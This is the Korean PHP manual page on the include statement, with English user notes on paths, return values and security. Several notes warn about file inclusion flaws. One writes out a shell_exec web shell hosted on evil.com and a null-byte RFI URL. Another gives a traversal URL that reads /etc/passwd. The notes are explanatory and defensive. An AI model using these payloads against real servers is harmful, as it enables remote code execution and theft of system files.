include

include문은 특정 파일을 인클루드 하고, 적용시킨다.

아래 내용은 require에도 적용됩니다. 두 구조는 수행 실패를 다루는 방법을 제외하고 완전히 동일합니다. 둘 모두 Warning을 발생시키지만, requireFatal Error가 나타납니다. 즉, 파일이 없을 때 페이지 처리를 멈추고 싶으면 require를 사용하면 됩니다. include는 멈추지 않고 스크립트가 계속 실행됩니다. 또한, 적합한 include_path 설정인지 확인해야 합니다. PHP 4.3.5 이전에는 포함한 파일 안에서 해석 오류가 발생해도 수행을 멈추지 않는 점에 주의하십시오. 이 버전부터는 멈춥니다.

파일을 포함할 때는 각 include_path에 대해서 먼저 현재 작업 디렉토리에서 상대 경로를 찾고, 실행중인 스크립트가 있는 디렉토리를 찾습니다. 즉, include_path가 libraries이고, 현재 작업 디렉토리가 /www/이며, 포함한 파일 include/a.phpinclude "b.php"가 있으면, b.php는 먼저 /www/libraries/에서 찾고, 그 후에 /www/include/을 찾습니다. 파일 이름이 ./이나 ../로 시작하면, 현재 작업 디렉토리 안에서만 찾습니다.

파일이 인클루드 되면, 그 코드를 포함하는 코드는 인클루드가 발생한 줄의 변수 유효 범위를 물려받는다. 호출하는 파일의 그 줄에서 사용되는 어떤 변수도 그 줄부터는 호출된 파일안에서 사용이 가능하다. 그러나, 포함한 파일에서 선언한 모든 함수와 클래스는 전역 영역에 들어갑니다.

Example #1 기본적인 include 사용예

vars.php
<?php

$color 
'green';
$fruit 'apple';

?>

test.php
<?php

echo "A $color $fruit"// A

include 'vars.php';

echo 
"A $color $fruit"// A green apple

?>

인클루드가 호출하는 파일안의 함수내에서 발생한다면, 호출된 파일안의 모든 코드가 그 함수에서 정의된것처럼 동작한다. 그래서, 그 함수의 변수 유효범위를 따를것이다. 이 규칙의 에외는 포함이 일어나기 전에 평가되는 마법 상수입니다.

Example #2 함수 내에서 인클루드하기

<?php

function foo()
{
    global 
$color;

    include 
'vars.php';

    echo 
"A $color $fruit";
}

/* vars.php is in the scope of foo() so     *
 * $fruit is NOT available outside of this  *
 * scope.  $color is because we declared it *
 * as global.                               */

foo();                    // A green apple
echo "A $color $fruit";   // A green

?>

파일이 인클루드되면, 파싱은 PHP모드의 밖으로 나가서 목적 파일의 시작부분은 HTML모드로 들어가게 되고, 끝부분에서 원래대로 회복된다. 이때문에, 목적 파일에서 PHP코드로서 수행되어야 하는 코드는 유효한 PHP 시작과 마침 태그 로 막아줘야 한다.

PHP에서 "URL fopen wrappers"가 활성화되어 있으면 (디폴트 설정임), URL(HTTP나 다른 지원 래퍼(wrapper) - 프로토콜 목록은 Supported Protocols and Wrappers을 참고)을 사용하여 파일을 인클루드 할수 있다. 목적 서버가 목적 파일을 PHP코드로 해석한다면, HTTP GET으로 사용된 URL 리퀘스트 문자열은 변수로서 넘겨지게 될것이다. 이와같은 일은 파일을 인크루드 하고 부모 파일의 변수 유효범위를 상속하는 것과 같은 경우가 되지는 않는다. 스크립트는 실질적으로 원격 서버에서 실행이 되고 나서 로컬 스크립트에 포함된다.

Warning

PHP 4.3.0 이전의 윈도우 버전 PHP에서는 이 함수를 이용하여 원격 파일에 접근할 수 없습니다. allow_url_fopen을 활성화하여도 마찬가지입니다.

Example #3 HTTP로 include하기

<?php

/* This example assumes that www.example.com is configured to parse .php
 * files and not .txt files. Also, 'Works' here means that the variables
 * $foo and $bar are available within the included file. */

// Won't work; file.txt wasn't handled by www.example.com as PHP
include 'http://www.example.com/file.txt?foo=1&bar=2';

// Won't work; looks for a file named 'file.php?foo=1&bar=2' on the
// local filesystem.
include 'file.php?foo=1&bar=2';

// Works.
include 'http://www.example.com/file.php?foo=1&bar=2';

$foo 1;
$bar 2;
include 
'file.txt';  // Works.
include 'file.php';  // Works.

?>

Warning

보안 경고

원격 파일은 원격 서버에서 실행(파일 확장자와 원격 서버가 PHP를 실행하는가에 따라 다릅니다)되지만, 로컬 서버에서 실행할 수 있는 유효한 PHP 스크립트를 만들 수도 있습니다. 원격 서버에서만 실행한 결과를 그대로 출력해야 한다면, readfile() 함수가 더 적합합니다. 아니라면, 원격 스크립트가 유효하고 적합한 코드를 생성하도록 특별한 주의를 기울이십시오.

참고: 원격 파일, fopen(), file()에 관련 정보가 있습니다.

반환 다루기: include한 파일 안에서 그 파일의 수행을 종료하고, 호출한 스크립트로 돌아가기 위해서 return문을 실행할 수 있습니다. 또한, 값을 반환하는 일도 가능합니다. include 호출을 일반 함수를 사용한 것처럼 값을 받을 수 있습니다. 그러나, 원격 파일을 포함하였을 때, 그 파일의 출력이 (다른 로컬 파일처럼) 유효한 PHP 시작과 끝 태그를 가지지 않는다면 이 값을 받을 수 없습니다. 이 태그들 안에 필요한 값을 정의하면, include한 파일의 어떤 위치에서라도 사용할 수 있습니다.

include은 특별한 언어 구조이기 때문에, 인수를 괄호로 쌀 필요가 없습니다. 반환값을 비교할 때는 조심하십시오.

Example #4 include의 반환값 비교하기

<?php
// include(('vars.php') == 'OK'), 즉 include('')로 인식하여 작동하지 않습니다.
if (include('vars.php') == 'OK') {
    echo 
'OK';
}

// 작동합니다.
if ((include 'vars.php') == 'OK') {
    echo 
'OK';
}
?>

Example #5 includereturn

return.php
<?php

$var 
'PHP';

return 
$var;

?>

noreturn.php
<?php

$var 
'PHP';

?>

testreturns.php
<?php

$foo 
= include 'return.php';

echo 
$foo// prints 'PHP'

$bar = include 'noreturn.php';

echo 
$bar// prints 1

?>

include가 성공했기 때문에 $bar의 값은 1입니다. 위 예제 사이의 차이에 주목하십시오. 처음 것은 포함한 파일 안에서 return을 사용하였지만, 다른 것은 하지 않았습니다. 파일을 포함할 수 없으면 FALSE를 반환하고 E_WARNING을 발생합니다.

포함한 파일에서 함수를 정의하면, 어디서 return을 했는지에 관계 없이 메인 파일에서 사용할 수 있습니다. 파일이 두번 포함되면, PHP 5는 함수가 이미 정의되어 있기 때문에 치명적인 오류를 발생하지만, PHP 4는 return 뒤에 정의했다면 불평하지 않습니다. 이미 포함한 파일을 확인하기 위해서는 포함한 파일 안에서 조건적으로 return하기 보다는 include_once를 사용하는 것을 권합니다.

PHP 파일을 변수로 "포함"하는 또 다른 방법은 출력 제어 함수include와 함께 사용하여 출력을 캡쳐하는 것입니다. 예를 들면:

Example #6 PHP 파일을 포함하여 문자열로 변환하기 위해 출력 버퍼링 사용하기

<?php
$string 
get_include_contents('somefile.php');

function 
get_include_constents($filename) {
    if (
is_file($filename)) {
        
ob_start();
        include 
$filename;
        
$contents ob_get_contents();
        
ob_end_clean();
        return 
$contents;
    }
    return 
false;
}

?>

스크립트 안에 자동으로 파일을 포함하기 위해서는, php.iniauto_prepend_fileauto_append_file 설정 옵션을 참고하십시오.

Note: 이것은 함수가 아닌 언어 구조이기 때문에, 가변 함수 방식으로 호출할 수 없습니다.

참고: require, require_once, include_once, get_included_files(), readfile(), virtual(), virtual(), include_path.

add a note add a note

User Contributed Notes 21 notes

up
131
snowyurik at gmail dot com
15 years ago
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
up
41
Rash
9 years ago
If you want to have include files, but do not want them to be accessible directly from the client side, please, please, for the love of keyboard, do not do this:

<?php

# index.php
define('what', 'ever');
include
'includeFile.php';

# includeFile.php

// check if what is defined and die if not

?>

The reason you should not do this is because there is a better option available. Move the includeFile(s) out of the document root of your project. So if the document root of your project is at "/usr/share/nginx/html", keep the include files in "/usr/share/nginx/src".

<?php

# index.php (in document root (/usr/share/nginx/html))

include __DIR__ . '/../src/includeFile.php';

?>

Since user can't type 'your.site/../src/includeFile.php', your includeFile(s) would not be accessible to the user directly.
up
24
John Carty
7 years ago
Before using php's include, require, include_once or require_once statements, you should learn more about Local File Inclusion (also known as LFI) and Remote File Inclusion (also known as RFI).

As example #3 points out, it is possible to include a php file from a remote server.

The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation.  Suppose you have an example.php with code:

<?php
// Bad Code
$path = $_GET['path'];
include
$path . 'example-config-file.php';
?>

As a programmer, you might expect the user to browse to the path that you specify.

However, it opens up an RFI vulnerability.  To exploit it as an attacker, I would first setup an evil text file with php code on my evil.com domain.

evil.txt
<?php echo shell_exec($_GET['command']);?>

It is a text file so it would not be processed on my server but on the target/victim server.  I would browse to:
h t t p : / / w w w .example.com/example.php?command=whoami& path= h t t p : / / w w w .evil.com/evil.txt%00

The example.php would download my evil.txt and process the operating system command that I passed in as the command variable.  In this case, it is whoami.  I ended the path variable with a %00, which is the null character.  The original include statement in the example.php would ignore the rest of the line.  It should tell me who the web server is running as.

Please use proper input validation if you use variables in an include statement.
up
25
Anon
12 years ago
I cannot emphasize enough knowing the active working directory. Find it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the include path in B should take into account that A, not B, is the active working directory.
up
8
error17191 at gmail dot com
8 years ago
When including a file using its name directly without specifying we are talking about the current working directory, i.e. saying (include "file") instead of ( include "./file") . PHP will search first in the current working directory (given by getcwd() ) , then next searches for it in the directory of the script being executed (given by __dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test

dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test

script.php contains the following code:
<?php

echo 'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'Changing current working directory to dir2';
chdir('../dir2');
echo
'<br />';
echo
'Directory of the current calling script: ' . __DIR__;
echo
'<br />';
echo
'Current working directory: ' . getcwd();
echo
'<br />';
echo
'including "test" ...';
echo
'<br />';
include
'test';
echo
'<br />';
echo
'including "dir2_test" ...';
echo
'<br />';
include
'dir2_test';
echo
'<br />';
echo
'including "dir1_test" ...';
echo
'<br />';
include
'dir1_test';
echo
'<br />';
echo
'including "./dir1_test" ...';
echo
'<br />';
(@include
'./dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :

Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
up
8
Wade.
15 years ago
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)

Wade.
up
9
Rick Garcia
15 years ago
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:

----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----

and so on. This way, the files in your framework will only have to issue statements such as this:

<?php
require_once(LIB_DIR . 'excel_functions.php');
?>

This also frees you from having to check the include path each time you do an include.

If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:

--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--

This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
up
0
jbezorg at gmail dot com
5 years ago
Ideally includes should be kept outside of the web root. That's not often possible though especially when distributing packaged applications where you don't know the server environment your application will be running in. In those cases I use the following as the first line.

( __FILE__ != $_SERVER['SCRIPT_FILENAME'] ) or exit ( 'No' );
up
0
Ray.Paseur often uses Gmail
9 years ago
It's worth noting that PHP provides an OS-context aware constant called DIRECTORY_SEPARATOR.  If you use that instead of slashes in your directory paths your scripts will be correct whether you use *NIX or (shudder) Windows.  (In a semi-related way, there is a smart end-of-line character, PHP_EOL)

Example:
<?php
$cfg_path
= 'includes'
. DIRECTORY_SEPARATOR
. 'config.php'
;
require_once(
$cfg_path);
up
0
sPlayer
13 years ago
Sometimes it will be usefull to include a string as a filename

<?php

//get content
$cFile = file_get_contents('crypted.file');
//decrypt the content
$content = decrypte($cFile);

//include this
include("data://text/plain;base64,".base64_encode($content));
//or
include("data://text/plain,".urlencode($content));
?>
up
0
Chris Bell
14 years ago
A word of warning about lazy HTTP includes - they can break your server.

If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.

Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
up
-2
joe dot naylor at gmail dot com
13 years ago
Be very careful with including files based on user inputed data.  For instance, consider this code sample:

index.php:
<?php
$page
= $_GET['page'];
if (
file_exists('pages/'.$page.'.php'))
{
   include(
'pages/'.$page.'.php');
}
?>

Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html

file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.

Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.

You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it.  Better yet, know exactly what options you can accept and accept only those options.
up
-2
hyponiq at gmail dot com
14 years ago
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.

Consider the following:
<?php
include '/Path/To/File.php';
?>

In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash.  This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.

However, Unix file/folder structuring is a little different.  The / represents the root of the hard drive or current hard drive partition.  In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs).  Thusly, an error/warning would be thrown because the path doesn't exist in the root path.

I just thought I'd mention that.  It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.

A work around would be something like:
<?php
$documentRoot
= null;

if (isset(
$_SERVER['DOCUMENT_ROOT'])) {
   
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
   
    if (
strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
        if (
strstr($documentRoot, '/')) {
           
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
        }
        elseif (
strstr($documentRoot, '\\')) {
           
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
        }
    }
   
    if (
preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
       
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
       
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
    }
}
else {
   
/**
     * I usually store this file in the Includes folder at the root of my
     * virtual host. This can be changed to wherever you store this file.
     *
     * Example:
     * If you store this file in the Application/Settings/DocRoot folder at the
     * base of your site, you would change this array to include each of those
     * folders.
     *
     * <code>
     * $directories = array(
     *     'Application',
     *     'Settings',
     *     'DocRoot'
     * );
     * </code>
     */
   
$directories = array(
       
'Includes'
   
);
   
    if (
defined('__DIR__')) {
       
$currentDirectory = __DIR__;
    }
    else {
       
$currentDirectory = dirname(__FILE__);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
   
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
   
    foreach (
$directories as $directory) {
       
$currentDirectory = str_replace(
           
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
           
DIRECTORY_SEPARATOR,
           
$currentDirectory
       
);
    }
   
   
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}

define('SERVER_DOC_ROOT', $documentRoot);
?>

Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.

Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
up
-3
ayon at hyurl dot com
6 years ago
It is also able to include or open a file from a zip file:
<?php
include "something.zip#script.php";
echo
file_get_contents("something.zip#script.php");
?>
Note that instead of using / or \, open a file from a zip file uses # to separate zip name and inner file's name.
up
-5
durkboek A_T hotmail D_O_T com
19 years ago
I would like to emphasize the danger of remote includes. For example:
Suppose, we have a server A with Linux and PHP 4.3.0 or greater installed which has the file index.php with the following code:

<?php
// File: index.php
include ($_GET['id'].".php");
?>

This is, of course, not a very good way to program, but i actually found a program doing this.

Then, we hava a server B, also Linux with PHP installed, that has the file list.php with the following code:

<?php
// File: list.php
$output = "";
exec("ls -al",$output);
foreach(
$output as $line) {
echo
$line . "<br>\n";
}
?>

If index.php on Server A is called like this: http://server_a/index.php?id=http://server_b/list
then Server B will execute list.php and Server A will include the output of Server B, a list of files.

But here's the trick: if Server B doesn't have PHP installed, it returns the file list.php to Server A, and Server A executes that file. Now we have a file listing of Server A!
I tried this on three different servers, and it allways worked.
This is only an example, but there have been hacks uploading files to servers etc.

So, allways be extremely carefull with remote includes.
up
-6
mbread at m-bread dot com
17 years ago
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:

1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
up
-6
example at user dot com
15 years ago
Just about any file type can be 'included' or 'required'.  By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.

You can also embed text in the output, like in the example below.  But an image is still an image to the client's machine.  The client must open the downloaded file as plain/text to see what you embedded.

<?php

header
('Content-type: image/jpeg');
header('Content-Disposition: inline;');

include
'/some_image.jpg';
echo
'This file was provided by example@user.com.';

?>

Which brings us to a major security issue.  Scripts can be hidden within images or files using this method.  For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.

'Including' any file made this way will execute those scripts.  NEVER 'include' anything that you found on the web or that users upload or can alter in any way.  Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
up
-12
uramihsayibok, gmail, com
16 years ago
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.

Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php

function include_all_once ($pattern) {
    foreach (
glob($pattern) as $file) { // remember the { and } are necessary!
       
include $file;
    }
}

// used like
include_all_once('dir/*.php');

?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
up
-14
abanarn at gmail dot com
9 years ago
To Windows coders, if you are upgrading from 5.3 to 5.4 or even 5.5; if you have have coded a path in your require or include you will have to be careful. Your code might not be backward compatible. To be more specific; the code escape for ESC, which is "\e" was introduced in php 5.4.4 + but if you use 5.4.3 you should be fine. For instance:

Test script:
-------------
<?php
require("C:\element\scripts\include.php");
?>

In php 5.3.* to php 5.4.3
----------------------------
If you use require("C:\element\scripts\include.php")  it will work fine.

If php 5.4.4 + It will break.
------------------------------
Warning: require(C:←lement\scripts\include.php): failed to open stream: In
valid argument in C:\element\scripts\include.php on line 20

Fatal error: require(): Failed opening required 'C:←lement\scripts\include.php

Solution:
-----------
Theoretically, you should be always using "\\" instead of "\" when you write php in windows machine OR use "/" like in Linux and you should fine since "\" is an escape character in most programming languages.
If you are not using absolute paths ; stream functions is your best friend like stream_resolve_include_path() , but you need to include the path you are resolving in you php.ini (include_path variable).

I hope this makes sense and I hope it will someone sometime down the road.
cheers,
up
-11
Jero Minh
8 years ago
Notice that using @include (instead of include without @) will set the local value of error_reporting to 0 inside the included script.

Consider the following:
<?php
    ini_set
('error_reporting', E_ALL);

    echo
"Own value before: ";
    echo
ini_get('error_reporting');
    echo
"\r\n";

    echo
"include foo.php: ";
    include(
'foo.php');

    echo
"@include foo.php: ";
    @include(
'foo.php');

    echo
"Own value now: " . ini_get('error_reporting');
?>

foo.php
<?php
   
echo ini_get('error_reporting') . "\r\n";
?>

Output:
    Own value before: 32767
    include foo.php: 32767
    @include foo.php: 0
    Own value now: 32767
up
-10
james at gogo dot co dot nz
20 years ago
While you can return a value from an included file, and receive the value as you would expect, you do not seem to be able to return a reference in any way (except in array, references are always preserved in arrays).

For example, we have two files, file 1.php contains...
<?php
 
function &x(&$y)
  {
    return include(
dirname(__FILE__) . '/2.php');
  }

 
$z = "FOO\n";
 
$z2 = &x($z);

  echo
$z2;
 
$z  = "NOO\n";
 
  echo
$z2;
?>

and file 2.php contains...
<?php  return $y; ?>

calling 1.php will produce

FOO
FOO

i.e the reference passed to x() is broken on it's way out of the include()

Neither can you do something like <?php $foo =& include(....); ?> as that's a parse error (include is not a real function, so can't take a reference in that case).  And you also can't do <?php return &$foo ?> in the included file (parse error again, nothing to assign the reference too).

The only solutions are to set a variable with the reference which the including code can then return itself, or return an array with the reference inside.

---
James Sleeman
http://www.gogo.co.nz/
To Top